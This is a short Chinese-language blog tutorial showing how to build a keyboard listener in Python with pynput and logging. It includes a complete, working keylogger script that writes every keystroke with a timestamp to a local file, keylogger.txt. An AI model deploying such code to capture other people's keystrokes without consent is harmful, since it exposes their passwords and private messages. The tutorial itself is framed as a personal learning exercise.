python 键盘监听+记录 [ pynput+logging ]

今天想做一个键盘监听的小程序,去网上搜了一下,发现用Python写键盘监听主要有pyhook和pynput两种………
这里用的是pynput,logging。
本来想用Jupyter Notebook写的,但是发现运行不了,可能是没有装pynput,然后选择了用pycharm,比较方便。

pynput 安装

python 键盘监听+记录 [ pynput+logging ]_第1张图片

键入代码

安装好pynput后,键入代码,代码如下:

from pynput.keyboard import Listener
import logging

wenjianweizhi = "C:\\hi\\"

logging.basicConfig(filename=(wenjianweizhi+"keylogger.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)

def press(key):
    logging.info(key)

with Listener(on_press = press) as listener:
        listener.join()

其中%(asctime)s表示时间,%(message)s表示用户输入,DEBUG是日志的级别,多用于调试。

运行

运行一下,发现c盘多了一个文档:
python 键盘监听+记录 [ pynput+logging ]_第2张图片
这个文档就是用来记录的。
运行结果如下:
python 键盘监听+记录 [ pynput+logging ]_第3张图片

你可能感兴趣的:(python学习)